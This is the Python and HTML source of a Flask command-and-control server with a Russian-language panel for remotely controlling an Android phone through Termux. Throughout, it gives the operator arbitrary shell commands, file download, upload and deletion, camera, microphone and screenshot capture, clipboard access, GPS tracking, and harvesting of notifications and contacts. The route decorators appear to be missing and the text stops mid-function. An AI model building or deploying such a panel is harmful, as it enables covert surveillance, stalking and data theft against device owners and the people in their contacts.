Spaces:
Running
Running
from flask import Flask, request, render_template_string, jsonify, send_from_directory, redirect, url_for | |
import os | |
import datetime | |
import uuid | |
import werkzeug.utils | |
import json | |
app = Flask(__name__) | |
app.config['UPLOAD_FOLDER'] = 'uploads_from_client' | |
app.config['FILES_TO_CLIENT_FOLDER'] = 'uploads_to_client' | |
os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True) | |
os.makedirs(app.config['FILES_TO_CLIENT_FOLDER'], exist_ok=True) | |
pending_command = None | |
command_output = "Ожидание команд..." | |
last_client_heartbeat = None | |
current_client_path = "~" | |
file_to_send_to_client = None | |
device_status_info = {} | |
notifications_history = [] | |
contacts_list = [] | |
HTML_TEMPLATE = """ | |
<!DOCTYPE html> | |
<html lang="ru"> | |
<head> | |
<meta charset="UTF-8"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> | |
<title>ПУ Android</title> | |
<style> | |
body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; flex-direction: column; min-height: 100vh; font-size: 16px; -webkit-text-size-adjust: 100%; } | |
header { background-color: #333; color: white; padding: 10px 15px; display: flex; align-items: center; box-shadow: 0 2px 5px rgba(0,0,0,0.2); position: fixed; top: 0; left: 0; width: 100%; z-index: 1001;} | |
.menu-toggle { font-size: 1.5em; background: none; border: none; color: white; cursor: pointer; margin-right: 15px; padding: 5px; } | |
header h1 { font-size: 1.2em; margin: 0; flex-grow: 1; text-align: center; } | |
.main-container { display: flex; flex-grow: 1; overflow: hidden; margin-top: 50px; /* Adjusted for fixed header */ } | |
.sidebar { width: 250px; background-color: #3f3f3f; color: white; padding: 15px; box-sizing: border-box; display: flex; flex-direction: column; transform: translateX(-100%); transition: transform 0.3s ease-in-out; position: fixed; top: 0; left: 0; height: 100vh; z-index: 1000; overflow-y: auto; padding-top: 60px; /* Ensure content starts below header */ } | |
.sidebar.open { transform: translateX(0); box-shadow: 3px 0 6px rgba(0,0,0,0.2); } | |
.sidebar h2 { margin-top: 0px; font-size: 1.1em; border-bottom: 1px solid #555; padding-bottom: 10px; } | |
.sidebar ul { list-style: none; padding: 0; margin: 0; } | |
.sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 12px 10px; border-radius: 4px; margin-bottom: 5px; font-size:0.95em; } | |
.sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; } | |
.content-overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 999; } | |
.content-overlay.active { display: block; } | |
.content { flex-grow: 1; padding: 15px; box-sizing: border-box; overflow-y: auto; /* margin-top: 50px; Removed, handled by main-container */ } | |
.container { background-color: #fff; padding: 15px; border-radius: 8px; box-shadow: 0 1px 3px rgba(0,0,0,0.1); margin-bottom:15px; } | |
.control-section { margin-bottom: 15px; padding: 10px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; } | |
label { display: block; margin-bottom: 6px; font-weight: bold; color: #555; font-size: 0.9em; } | |
input[type="text"], textarea, input[type="file"] { width: calc(100% - 22px); padding: 10px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; font-size: 1em; } | |
button { padding: 10px 15px; background-color: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 0.9em; margin-right: 5px; margin-bottom: 8px; display: inline-block; } | |
button:hover { background-color: #0056b3; } | |
pre { background-color: #282c34; color: #abb2bf; padding: 10px; border-radius: 4px; white-space: pre-wrap; word-wrap: break-word; max-height: 300px; overflow-y: auto; font-family: 'Courier New', Courier, monospace; font-size: 0.85em; } | |
.status { padding: 10px; border-radius: 4px; margin-bottom:10px; font-weight: bold; font-size: 0.9em; } | |
.status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; } | |
.status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; } | |
.file-browser ul { list-style: none; padding: 0; } | |
.file-browser li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; flex-wrap: wrap; justify-content: space-between; align-items: center; } | |
.file-browser li .file-name-container { flex-grow: 1; margin-right: 10px; word-break: break-all; } | |
.file-browser li .file-actions button { margin-left: 5px; padding: 4px 8px; font-size:0.8em; } | |
.file-browser li:last-child { border-bottom: none; } | |
.file-browser a { text-decoration: none; color: #007bff; } | |
.file-browser a:hover { text-decoration: underline; } | |
.file-icon { margin-right: 8px; } | |
.file-browser .dir a { font-weight: bold; } | |
.file-browser .download-btn { background-color: #28a745; } | |
.file-browser .download-btn:hover { background-color: #218838; } | |
.file-browser .delete-btn { background-color: #dc3545; } | |
.file-browser .delete-btn:hover { background-color: #c82333; } | |
.hidden-section { display: none; } | |
.status-item { margin-bottom: 8px; font-size: 0.9em;} | |
.status-item strong { color: #333; } | |
.notification-list, .contact-list { max-height: 350px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;} | |
.notification-item, .contact-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; } | |
.notification-item:last-child, .contact-item:last-child { border-bottom: none; } | |
.notification-item strong, .contact-item strong { display: block; color: #555; } | |
.notification-item span, .contact-item span { font-size: 0.9em; color: #777; display: block; } | |
.contact-item .contact-number { font-weight: normal; } | |
@media (min-width: 768px) { | |
header { display: none; } | |
.sidebar { transform: translateX(0); position: static; height: 100vh; box-shadow: none; padding-top: 15px; /* Reset padding for desktop */ } | |
.main-container { margin-top: 0; } | |
.content-overlay { display: none !important; } | |
} | |
</style> | |
<script> | |
let currentView = 'dashboard'; | |
function toggleMenu() { | |
document.querySelector('.sidebar').classList.toggle('open'); | |
document.querySelector('.content-overlay').classList.toggle('active'); | |
} | |
function showSection(sectionId) { | |
document.querySelectorAll('.content > div.container').forEach(div => div.style.display = 'none'); | |
document.getElementById(sectionId).style.display = 'block'; | |
document.querySelectorAll('.sidebar a').forEach(a => a.classList.remove('active')); | |
const activeLink = document.querySelector(`.sidebar a[href="#${sectionId}"]`); | |
if (activeLink) activeLink.classList.add('active'); | |
currentView = sectionId; | |
if (window.innerWidth < 768 && document.querySelector('.sidebar').classList.contains('open')) { | |
toggleMenu(); | |
} | |
if (sectionId === 'files') refreshClientPathDisplay(); | |
if (sectionId === 'device_status') requestDeviceStatus(); | |
if (sectionId === 'notifications') requestNotifications(); | |
if (sectionId === 'contacts') requestContacts(); | |
refreshOutput(); | |
} | |
async function refreshOutput() { | |
try { | |
const response = await fetch('/get_status_output'); | |
const data = await response.json(); | |
if (data.output && (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils')) { | |
document.getElementById('outputArea').innerText = data.output; | |
} | |
if (data.last_heartbeat) { | |
const statusDiv = document.getElementById('clientStatus'); | |
const lastBeat = new Date(data.last_heartbeat); | |
const now = new Date(); | |
const diffSeconds = (now - lastBeat) / 1000; | |
if (diffSeconds < 45) { | |
statusDiv.className = 'status online'; | |
statusDiv.innerText = 'Клиент ОНЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')'; | |
} else { | |
statusDiv.className = 'status offline'; | |
statusDiv.innerText = 'Клиент ОФФЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')'; | |
} | |
} else { | |
document.getElementById('clientStatus').className = 'status offline'; | |
document.getElementById('clientStatus').innerText = 'Клиент ОФФЛАЙН'; | |
} | |
if (data.current_path && currentView === 'files') { | |
document.getElementById('currentPathDisplay').innerText = data.current_path; | |
if (data.output && data.output.startsWith("Содержимое") ) { | |
renderFileList(data.output, data.current_path); | |
} else if (data.output && currentView === 'files') { | |
document.getElementById('fileList').innerHTML = `<li>${data.output.replace(/\\n/g, '<br>')}</li>`; | |
} | |
} | |
const filesResponse = await fetch('/list_uploaded_files'); | |
const filesData = await filesResponse.json(); | |
const serverFileListUl = document.getElementById('serverUploadedFiles'); | |
serverFileListUl.innerHTML = ''; | |
if (filesData.files && filesData.files.length > 0) { | |
filesData.files.forEach(file => { | |
const li = document.createElement('li'); | |
const a = document.createElement('a'); | |
a.href = '/uploads_from_client/' + encodeURIComponent(file); | |
a.textContent = file; | |
a.target = '_blank'; | |
li.appendChild(a); | |
serverFileListUl.appendChild(li); | |
}); | |
} else { | |
serverFileListUl.innerHTML = '<li>Нет загруженных файлов с клиента.</li>'; | |
} | |
if (data.device_status && currentView === 'device_status') { | |
updateDeviceStatusDisplay(data.device_status); | |
} | |
if (data.notifications && currentView === 'notifications') { | |
renderNotifications(data.notifications); | |
} | |
if (data.contacts && currentView === 'contacts') { | |
renderContacts(data.contacts); | |
} | |
} catch (error) { | |
console.error("Error refreshing data:", error); | |
if (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils') { | |
document.getElementById('outputArea').innerText = "Ошибка обновления данных с сервера."; | |
} | |
} | |
} | |
function updateDeviceStatusDisplay(status) { | |
document.getElementById('batteryStatus').innerHTML = status.battery ? `<strong>Заряд:</strong> ${status.battery.percentage}% (${status.battery.status}, ${status.battery.health})` : '<strong>Заряд:</strong> Н/Д'; | |
document.getElementById('locationStatus').innerHTML = status.location ? `<strong>Локация:</strong> ${status.location.latitude}, ${status.location.longitude} (Точность: ${status.location.accuracy}м, Скорость: ${status.location.speed} м/с)` : '<strong>Локация:</strong> Н/Д (Запросите для обновления)'; | |
if (status.location && status.location.latitude && status.location.longitude) { | |
document.getElementById('locationMapLink').innerHTML = `<a href="https://www.google.com/maps?q=${status.location.latitude},${status.location.longitude}" target="_blank">Показать на карте Google</a>`; | |
} else { | |
document.getElementById('locationMapLink').innerHTML = ''; | |
} | |
document.getElementById('processesStatus').innerHTML = status.processes ? `<pre>${status.processes}</pre>` : '<strong>Процессы:</strong> Н/Д (Запросите для обновления)'; | |
} | |
function renderFileList(lsOutput, currentPath) { | |
const fileListUl = document.getElementById('fileList'); | |
fileListUl.innerHTML = ''; | |
const lines = lsOutput.split('\\n'); | |
let isRootOrHome = (currentPath === '/' || currentPath === '~' || currentPath === osPathToUserFriendly(currentPath, true)); | |
if (!isRootOrHome) { | |
const parentLi = document.createElement('li'); | |
parentLi.className = 'dir'; | |
const parentA = document.createElement('a'); | |
parentA.href = '#'; | |
parentA.innerHTML = '<span class="file-icon">🔙</span> .. (Наверх)'; | |
parentA.onclick = (e) => { e.preventDefault(); navigateTo('..'); }; | |
parentLi.appendChild(parentA); | |
fileListUl.appendChild(parentLi); | |
} | |
lines.forEach(line => { | |
if (line.trim() === '' || line.startsWith("Содержимое")) return; | |
const parts = line.match(/^(\\[[DF]\\])\\s*(.*)/); | |
if (!parts) return; | |
const type = parts[1]; | |
const name = parts[2].trim(); | |
const li = document.createElement('li'); | |
const nameContainer = document.createElement('div'); | |
nameContainer.className = 'file-name-container'; | |
const a = document.createElement('a'); | |
a.href = '#'; | |
if (type === '[D]') { | |
li.className = 'dir'; | |
a.innerHTML = `<span class="file-icon">📁</span> ${name}`; | |
a.onclick = (e) => { e.preventDefault(); navigateTo(name); }; | |
nameContainer.appendChild(a); | |
li.appendChild(nameContainer); | |
} else { | |
li.className = 'file'; | |
a.innerHTML = `<span class="file-icon">📄</span> ${name}`; | |
a.onclick = (e) => { e.preventDefault(); }; | |
nameContainer.appendChild(a); | |
li.appendChild(nameContainer); | |
const actionsContainer = document.createElement('div'); | |
actionsContainer.className = 'file-actions'; | |
const downloadBtn = document.createElement('button'); | |
downloadBtn.className = 'download-btn'; | |
downloadBtn.textContent = 'Скачать'; | |
downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); }; | |
actionsContainer.appendChild(downloadBtn); | |
const deleteBtn = document.createElement('button'); | |
deleteBtn.className = 'delete-btn'; | |
deleteBtn.textContent = 'Удалить'; | |
deleteBtn.onclick = (e) => { e.preventDefault(); requestDeleteFile(name); }; | |
actionsContainer.appendChild(deleteBtn); | |
li.appendChild(actionsContainer); | |
} | |
fileListUl.appendChild(li); | |
}); | |
} | |
function renderNotifications(notifications) { | |
const notificationListDiv = document.getElementById('notificationList'); | |
notificationListDiv.innerHTML = ''; | |
if (notifications && notifications.length > 0) { | |
notifications.forEach(n => { | |
const itemDiv = document.createElement('div'); | |
itemDiv.className = 'notification-item'; | |
itemDiv.innerHTML = ` | |
<strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong> | |
<span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span> | |
<span><strong>Тег:</strong> ${n.tag || 'N/A'}, <strong>Ключ:</strong> ${n.key || 'N/A'}</span> | |
<span><strong>Когда:</strong> ${n.when ? new Date(n.when).toLocaleString() : 'N/A'}</span> | |
<p>${n.content || 'Нет содержимого'}</p> | |
`; | |
notificationListDiv.appendChild(itemDiv); | |
}); | |
} else { | |
notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>'; | |
} | |
} | |
function renderContacts(contacts) { | |
const contactListDiv = document.getElementById('contactList'); | |
contactListDiv.innerHTML = ''; | |
if (contacts && contacts.length > 0) { | |
contacts.forEach(c => { | |
const itemDiv = document.createElement('div'); | |
itemDiv.className = 'contact-item'; | |
let numbersHtml = ''; | |
if (c.numbers && c.numbers.length > 0) { | |
c.numbers.forEach(num => { | |
numbersHtml += `<span class="contact-number">${num}</span>`; | |
}); | |
} else { | |
numbersHtml = '<span>Нет номеров</span>'; | |
} | |
itemDiv.innerHTML = ` | |
<strong>${c.name || 'Без имени'}</strong> | |
${numbersHtml} | |
`; | |
contactListDiv.appendChild(itemDiv); | |
}); | |
} else { | |
contactListDiv.innerHTML = '<p>Список контактов пуст или не удалось его получить.</p>'; | |
} | |
} | |
function osPathToUserFriendly(path, checkRoot = false) { | |
if (path.startsWith('/data/data/com.termux/files/home')) { | |
let relPath = path.substring('/data/data/com.termux/files/home'.length); | |
if (relPath === '' || relPath === '/') return '~'; | |
return '~' + relPath; | |
} | |
if (checkRoot && path === '/') return '/'; | |
return path; | |
} | |
async function sendGenericCommand(payload) { | |
try { | |
document.getElementById('outputArea').innerText = "Отправка команды..."; | |
const response = await fetch('/send_command', { | |
method: 'POST', | |
headers: { 'Content-Type': 'application/json' }, | |
body: JSON.stringify(payload) | |
}); | |
if (!response.ok) { | |
console.error("Server error sending command"); | |
document.getElementById('outputArea').innerText = "Ошибка сервера при отправке команды."; | |
} | |
} catch (error) { | |
console.error("Network error sending command:", error); | |
document.getElementById('outputArea').innerText = "Сетевая ошибка при отправке команды."; | |
} | |
} | |
function navigateTo(itemName) { | |
sendGenericCommand({ command_type: 'list_files', path: itemName }); | |
if (currentView === 'files') { | |
document.getElementById('fileList').innerHTML = '<li>Загрузка...</li>'; | |
} | |
} | |
function requestDownloadFile(filename) { | |
sendGenericCommand({ command_type: 'request_download_file', filename: filename }); | |
document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`; | |
} | |
function requestDeleteFile(filename) { | |
if (confirm(`Вы уверены, что хотите удалить файл "${filename}"? Это действие необратимо.`)) { | |
sendGenericCommand({ command_type: 'delete_file', filename: filename }); | |
} | |
} | |
function refreshClientPathDisplay(){ | |
if (document.getElementById('currentPathDisplay')) { | |
fetch('/get_status_output').then(r=>r.json()).then(data => { | |
if(data.current_path) document.getElementById('currentPathDisplay').innerText = data.current_path; | |
}); | |
} | |
} | |
window.onload = () => { | |
showSection('dashboard'); | |
setInterval(refreshOutput, 4000); | |
refreshOutput(); | |
document.querySelector('.menu-toggle').addEventListener('click', toggleMenu); | |
document.querySelector('.content-overlay').addEventListener('click', toggleMenu); | |
}; | |
function submitShellCommand(event) { | |
event.preventDefault(); | |
const command = document.getElementById('command_str').value; | |
sendGenericCommand({ command_type: 'shell', command: command }); | |
document.getElementById('command_str').value = ''; | |
} | |
function submitMediaCommand(type, paramName, paramValueId) { | |
let payload = { command_type: type }; | |
if (paramName && paramValueId) { | |
const value = document.getElementById(paramValueId).value; | |
if (value) payload[paramName] = value; | |
} | |
sendGenericCommand(payload); | |
} | |
async function handleUploadToServer(event) { | |
event.preventDefault(); | |
const fileInput = document.getElementById('fileToUploadToDevice'); | |
const targetPathInput = document.getElementById('targetDevicePath'); | |
if (!fileInput.files[0]) { | |
alert("Пожалуйста, выберите файл для загрузки."); | |
return; | |
} | |
if (!targetPathInput.value) { | |
alert("Пожалуйста, укажите путь на устройстве."); | |
return; | |
} | |
const formData = new FormData(); | |
formData.append('file_to_device', fileInput.files[0]); | |
formData.append('target_path_on_device', targetPathInput.value); | |
document.getElementById('uploadToDeviceStatus').innerText = 'Загрузка файла на сервер...'; | |
try { | |
const response = await fetch('/upload_to_server_for_client', { | |
method: 'POST', | |
body: formData | |
}); | |
const result = await response.json(); | |
if (result.status === 'success') { | |
document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename; | |
sendGenericCommand({ | |
command_type: 'receive_file', | |
server_filename: result.server_filename, | |
target_path_on_device: result.target_path_on_device | |
}); | |
} else { | |
document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message; | |
} | |
} catch (error) { | |
document.getElementById('uploadToDeviceStatus').innerText = 'Сетевая ошибка при загрузке файла на сервер: ' + error; | |
} | |
} | |
function getClipboard() { | |
sendGenericCommand({ command_type: 'clipboard_get' }); | |
} | |
function setClipboard() { | |
const text = document.getElementById('clipboardSetText').value; | |
sendGenericCommand({ command_type: 'clipboard_set', text: text }); | |
} | |
function openUrlOnDevice() { | |
const url = document.getElementById('urlToOpen').value; | |
if (url) { | |
sendGenericCommand({ command_type: 'open_url', url: url }); | |
} else { | |
alert("Пожалуйста, введите URL."); | |
} | |
} | |
function requestDeviceStatus(item = null) { | |
let payload = { command_type: 'get_device_status' }; | |
if (item) { | |
payload.item = item; | |
} | |
sendGenericCommand(payload); | |
} | |
function requestNotifications() { | |
sendGenericCommand({ command_type: 'get_notifications' }); | |
} | |
function requestContacts() { | |
sendGenericCommand({ command_type: 'get_contacts' }); | |
} | |
</script> | |
</head> | |
<body> | |
<header> | |
<button class="menu-toggle" aria-label="Toggle menu">☰</button> | |
<h1>ПУ Android</h1> | |
</header> | |
<div class="main-container"> | |
<div class="sidebar"> | |
<h2>Меню</h2> | |
<ul> | |
<li><a href="#dashboard" onclick="showSection('dashboard')" class="active">Панель</a></li> | |
<li><a href="#device_status" onclick="showSection('device_status')">Статус устройства</a></li> | |
<li><a href="#notifications" onclick="showSection('notifications')">Уведомления</a></li> | |
<li><a href="#contacts" onclick="showSection('contacts')">Контакты</a></li> | |
<li><a href="#files" onclick="showSection('files')">Файлы</a></li> | |
<li><a href="#shell" onclick="showSection('shell')">Терминал</a></li> | |
<li><a href="#media" onclick="showSection('media')">Медиа</a></li> | |
<li><a href="#clipboard" onclick="showSection('clipboard')">Буфер обмена</a></li> | |
<li><a href="#utils" onclick="showSection('utils')">Утилиты</a></li> | |
<li><a href="#uploads" onclick="showSection('uploads')">Загрузки с клиента</a></li> | |
</ul> | |
</div> | |
<div class="content-overlay"></div> | |
<div class="content"> | |
<div id="clientStatus" class="status offline">Статус клиента неизвестен</div> | |
<div id="dashboard" class="container"> | |
<h2>Общая информация</h2> | |
<p>Добро пожаловать в панель управления. Выберите действие из меню слева.</p> | |
<div class="control-section"> | |
<h3>Вывод последней операции:</h3> | |
<pre id="outputArea">Ожидание вывода...</pre> | |
</div> | |
</div> | |
<div id="device_status" class="container hidden-section"> | |
<h2>Статус устройства</h2> | |
<button onclick="requestDeviceStatus()">Обновить все</button> | |
<div class="control-section"> | |
<h3>Батарея</h3> | |
<div id="batteryStatus" class="status-item"><strong>Заряд:</strong> Н/Д</div> | |
<button onclick="requestDeviceStatus('battery')">Обновить батарею</button> | |
</div> | |
<div class="control-section"> | |
<h3>Геолокация</h3> | |
<div id="locationStatus" class="status-item"><strong>Локация:</strong> Н/Д</div> | |
<div id="locationMapLink" class="status-item"></div> | |
<button onclick="requestDeviceStatus('location')">Обновить геолокацию</button> | |
</div> | |
<div class="control-section"> | |
<h3>Запущенные процессы (пользователя Termux)</h3> | |
<div id="processesStatus" class="status-item"><strong>Процессы:</strong> Н/Д</div> | |
<button onclick="requestDeviceStatus('processes')">Обновить процессы</button> | |
</div> | |
</div> | |
<div id="notifications" class="container hidden-section"> | |
<h2>Уведомления устройства</h2> | |
<button onclick="requestNotifications()">Обновить уведомления</button> | |
<div class="control-section"> | |
<h3>Список уведомлений:</h3> | |
<div id="notificationList" class="notification-list"> | |
<p>Запросите список уведомлений.</p> | |
</div> | |
</div> | |
</div> | |
<div id="contacts" class="container hidden-section"> | |
<h2>Контакты</h2> | |
<button onclick="requestContacts()">Запросить список контактов</button> | |
<div class="control-section"> | |
<h3>Список контактов:</h3> | |
<div id="contactList" class="contact-list"> | |
<p>Запросите список контактов.</p> | |
</div> | |
</div> | |
</div> | |
<div id="files" class="container hidden-section"> | |
<h2>Файловый менеджер (Клиент)</h2> | |
<p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p> | |
<button onclick="navigateTo('~')">Дом (~)</button> | |
<button onclick="navigateTo('/sdcard/')">Память</button> | |
<input type="text" id="customPathInput" placeholder="/sdcard/Download" style="width:auto; display:inline-block; margin-left:0px; margin-right:5px; max-width: 150px;"> | |
<button onclick="navigateTo(document.getElementById('customPathInput').value)">Перейти</button> | |
<div class="file-browser control-section"> | |
<h3>Содержимое директории:</h3> | |
<ul id="fileList"> | |
<li>Запросите содержимое директории.</li> | |
</ul> | |
</div> | |
<div class="control-section"> | |
<h3>Загрузить файл НА устройство</h3> | |
<form id="uploadForm" onsubmit="handleUploadToServer(event)"> | |
<label for="fileToUploadToDevice">Выберите файл:</label> | |
<input type="file" id="fileToUploadToDevice" name="file_to_device" required> | |
<label for="targetDevicePath">Путь для сохранения на устройстве (например, `/sdcard/Download/` или `~/`):</label> | |
<input type="text" id="targetDevicePath" name="target_path_on_device" value="/sdcard/Download/" required> | |
<button type="submit">Загрузить</button> | |
</form> | |
<p id="uploadToDeviceStatus"></p> | |
</div> | |
</div> | |
<div id="shell" class="container hidden-section"> | |
<h2>Выполнить команду на устройстве</h2> | |
<form onsubmit="submitShellCommand(event)"> | |
<label for="command_str">Команда (например, `ls -l /sdcard/Download` или `pwd`):</label> | |
<input type="text" id="command_str" name="command_str" required> | |
<button type="submit">Отправить</button> | |
</form> | |
<div class="control-section" style="margin-top:20px;"> | |
<h3>Вывод команды:</h3> | |
<pre id="outputAreaShellCopy"></pre> | |
</div> | |
</div> | |
<div id="media" class="container hidden-section"> | |
<h2>Мультимедиа</h2> | |
<div class="control-section"> | |
<button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input')">Сделать фото</button> | |
<label for="camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label> | |
<input type="text" id="camera_id_input" value="0" style="width:50px; display:inline-block;"> | |
</div> | |
<div class="control-section"> | |
<button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input')">Записать аудио</button> | |
<label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label> | |
<input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;"> | |
</div> | |
<div class="control-section"> | |
<button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button> | |
</div> | |
<div class="control-section" style="margin-top:20px;"> | |
<h3>Результат операции:</h3> | |
<pre id="outputAreaMediaCopy"></pre> | |
</div> | |
</div> | |
<div id="clipboard" class="container hidden-section"> | |
<h2>Буфер обмена</h2> | |
<div class="control-section"> | |
<button onclick="getClipboard()">Получить из буфера</button> | |
</div> | |
<div class="control-section"> | |
<label for="clipboardSetText">Текст для вставки в буфер:</label> | |
<textarea id="clipboardSetText" rows="3"></textarea> | |
<button onclick="setClipboard()">Вставить в буфер</button> | |
</div> | |
<div class="control-section" style="margin-top:20px;"> | |
<h3>Результат операции с буфером:</h3> | |
<pre id="outputAreaClipboardCopy"></pre> | |
</div> | |
</div> | |
<div id="utils" class="container hidden-section"> | |
<h2>Утилиты</h2> | |
<div class="control-section"> | |
<label for="urlToOpen">Открыть URL на устройстве:</label> | |
<input type="text" id="urlToOpen" placeholder="https://example.com"> | |
<button onclick="openUrlOnDevice()">Открыть URL</button> | |
</div> | |
<div class="control-section" style="margin-top:20px;"> | |
<h3>Результат операции:</h3> | |
<pre id="outputAreaUtilsCopy"></pre> | |
</div> | |
</div> | |
<div id="uploads" class="container hidden-section"> | |
<h2>Файлы, загруженные С клиента на сервер</h2> | |
<div class="control-section"> | |
<ul id="serverUploadedFiles"> | |
<li>Нет загруженных файлов.</li> | |
</ul> | |
</div> | |
</div> | |
</div> | |
</div> | |
<script> | |
document.addEventListener('DOMContentLoaded', () => { | |
const outputArea = document.getElementById('outputArea'); | |
const outputAreaShellCopy = document.getElementById('outputAreaShellCopy'); | |
const outputAreaMediaCopy = document.getElementById('outputAreaMediaCopy'); | |
const outputAreaClipboardCopy = document.getElementById('outputAreaClipboardCopy'); | |
const outputAreaUtilsCopy = document.getElementById('outputAreaUtilsCopy'); | |
const observer = new MutationObserver(() => { | |
if (outputAreaShellCopy && currentView === 'shell') outputAreaShellCopy.innerText = outputArea.innerText; | |
if (outputAreaMediaCopy && currentView === 'media') outputAreaMediaCopy.innerText = outputArea.innerText; | |
if (outputAreaClipboardCopy && currentView === 'clipboard') outputAreaClipboardCopy.innerText = outputArea.innerText; | |
if (outputAreaUtilsCopy && currentView === 'utils') outputAreaUtilsCopy.innerText = outputArea.innerText; | |
}); | |
observer.observe(outputArea, { childList: true, characterData: true, subtree: true }); | |
}); | |
</script> | |
</body> | |
</html> | |
""" | |
def index(): | |
return render_template_string(HTML_TEMPLATE) | |
def handle_send_command(): | |
global pending_command, command_output | |
data = request.json | |
command_output = "Ожидание выполнения..." | |
command_type = data.get('command_type') | |
if command_type == 'list_files': | |
path_requested = data.get('path', '.') | |
pending_command = {'type': 'list_files', 'path': path_requested} | |
elif command_type == 'request_download_file': | |
filename = data.get('filename') | |
if filename: | |
pending_command = {'type': 'upload_to_server', 'filename': filename} | |
else: | |
command_output = "Ошибка: Имя файла для скачивания не указано." | |
elif command_type == 'delete_file': | |
filename = data.get('filename') | |
if filename: | |
pending_command = {'type': 'delete_file', 'filename': filename} | |
else: | |
command_output = "Ошибка: Имя файла для удаления не указано." | |
elif command_type == 'take_photo': | |
pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')} | |
elif command_type == 'record_audio': | |
pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')} | |
elif command_type == 'screenshot': | |
pending_command = {'type': 'screenshot'} | |
elif command_type == 'shell': | |
command_str = data.get('command') | |
if command_str: | |
pending_command = {'type': 'shell', 'command': command_str} | |
else: | |
command_output = "Ошибка: Команда не указана." | |
elif command_type == 'receive_file': | |
server_filename = data.get('server_filename') | |
target_path_on_device = data.get('target_path_on_device') | |
if server_filename and target_path_on_device: | |
file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename) | |
if os.path.exists(file_path_on_server): | |
pending_command = { | |
'type': 'receive_file', | |
'download_url': url_for('download_to_client', filename=server_filename, _external=True), | |
'target_path': target_path_on_device, | |
'original_filename': server_filename | |
} | |
else: | |
command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту." | |
else: | |
command_output = "Ошибка: Недостаточно данных для отправки файла клиенту." | |
elif command_type == 'clipboard_get': | |
pending_command = {'type': 'clipboard_get'} | |
elif command_type == 'clipboard_set': | |
text_to_set = data.get('text', '') | |
pending_command = {'type': 'clipboard_set', 'text': text_to_set} | |
elif command_type == 'open_url': | |
url_to_open = data.get('url') | |
if url_to_open: | |
pending_command = {'type': 'open_url', 'url': url_to_open} | |
else: | |
command_output = "Ошибка: URL для открытия не указан." | |
elif command_type == 'get_device_status': | |
item_requested = data.get('item') | |
pending_command = {'type': 'get_device_status', 'item': item_requested} | |
elif command_type == 'get_notifications': | |
pending_command = {'type': 'get_notifications'} | |
elif command_type == 'get_contacts': | |
pending_command = {'type': 'get_contacts'} | |
else: | |
command_output = "Неизвестный тип команды." | |
return jsonify({'status': 'command_queued'}) | |
def get_command(): | |
global pending_command | |
if pending_command: | |
cmd_to_send = pending_command | |
pending_command = None | |
return jsonify(cmd_to_send) | |
return jsonify(None) | |
def submit_client_data(): | |
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list | |
data = request.json | |
if not data: | |
return jsonify({'status': 'error', 'message': 'No data received'}), 400 | |
last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z" | |
if 'output' in data: | |
new_output = data['output'] | |
max_len = 20000 | |
if len(new_output) > max_len: | |
command_output = new_output[:max_len] + "\n... (output truncated)" | |
else: | |
command_output = new_output | |
if 'current_path' in data: | |
current_client_path = data['current_path'] | |
if 'device_status_update' in data: | |
update = data['device_status_update'] | |
for key, value in update.items(): | |
device_status_info[key] = value | |
if 'notifications_update' in data: | |
notifications_history = data['notifications_update'] | |
if not command_output or command_output == "Клиент онлайн.": | |
command_output = "Список уведомлений обновлен." | |
if 'contacts_update' in data: | |
contacts_list = data['contacts_update'] | |
if not command_output or command_output == "Клиент онлайн.": | |
command_output = "Список контактов обновлен." | |
if 'heartbeat' in data and data['heartbeat']: | |
if not command_output or command_output == "Клиент онлайн.": | |
if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data and 'contacts_update' not in data: | |
command_output = "Клиент онлайн." | |
return jsonify({'status': 'heartbeat_ok'}) | |
return jsonify({'status': 'data_received'}) | |
def upload_from_client_route(): | |
global command_output, last_client_heartbeat | |
